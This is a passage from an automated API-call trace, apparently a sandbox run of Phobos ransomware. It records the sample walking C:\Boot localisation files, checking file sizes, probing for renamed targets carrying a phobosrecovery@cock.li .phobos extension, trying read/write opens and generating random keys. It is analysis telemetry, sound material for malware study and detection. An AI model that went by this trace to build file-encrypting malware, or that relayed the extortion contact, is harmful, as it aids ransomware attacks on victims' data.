lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.400] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=76640) returned 1 [0162.400] CloseHandle (hObject=0x290) returned 1 [0162.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0162.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.400] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.400] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.400] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.400] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=78688) returned 1 [0162.400] CloseHandle (hObject=0x290) returned 1 [0162.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0162.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.401] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.401] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.401] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.401] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45976) returned 1 [0162.401] CloseHandle (hObject=0x290) returned 1 [0162.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0162.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.402] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.402] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.402] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.402] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=77144) returned 1 [0162.402] CloseHandle (hObject=0x290) returned 1 [0162.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0162.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.403] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.403] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.403] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.403] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45472) returned 1 [0162.403] CloseHandle (hObject=0x290) returned 1 [0162.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0162.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.403] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.403] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.404] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.404] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=67424) returned 1 [0162.404] CloseHandle (hObject=0x290) returned 1 [0162.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0162.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.404] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.404] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.404] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.404] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=42904) returned 1 [0162.404] CloseHandle (hObject=0x290) returned 1 [0162.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0162.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.405] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.405] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.405] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.405] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=66912) returned 1 [0162.405] CloseHandle (hObject=0x290) returned 1 [0162.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0162.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.405] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.405] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.405] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.406] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=42912) returned 1 [0162.406] CloseHandle (hObject=0x290) returned 1 [0162.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0162.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.406] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.407] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.407] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.407] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=75616) returned 1 [0162.407] CloseHandle (hObject=0x290) returned 1 [0162.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0162.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.408] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.408] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.408] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.409] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=75608) returned 1 [0162.409] CloseHandle (hObject=0x290) returned 1 [0162.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0162.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.409] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.410] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.410] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.410] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=811936) returned 1 [0162.410] CloseHandle (hObject=0x290) returned 1 [0162.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0162.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\memtest.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.410] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.410] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.410] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.411] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=75616) returned 1 [0162.411] CloseHandle (hObject=0x290) returned 1 [0162.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0162.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.411] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.411] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.411] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.412] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45472) returned 1 [0162.412] CloseHandle (hObject=0x290) returned 1 [0162.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0162.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.412] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.412] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.412] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.412] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=78176) returned 1 [0162.413] CloseHandle (hObject=0x290) returned 1 [0162.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0162.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.413] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.413] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.413] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.413] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45472) returned 1 [0162.413] CloseHandle (hObject=0x290) returned 1 [0162.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0162.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.414] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.414] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.414] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.414] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=77656) returned 1 [0162.414] CloseHandle (hObject=0x290) returned 1 [0162.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0162.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.415] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.415] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.415] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.415] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45984) returned 1 [0162.415] CloseHandle (hObject=0x290) returned 1 [0162.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0162.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.415] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.416] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.416] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.416] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=76640) returned 1 [0162.416] CloseHandle (hObject=0x290) returned 1 [0162.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0162.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.416] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.416] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.416] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.416] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45472) returned 1 [0162.417] CloseHandle (hObject=0x290) returned 1 [0162.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: 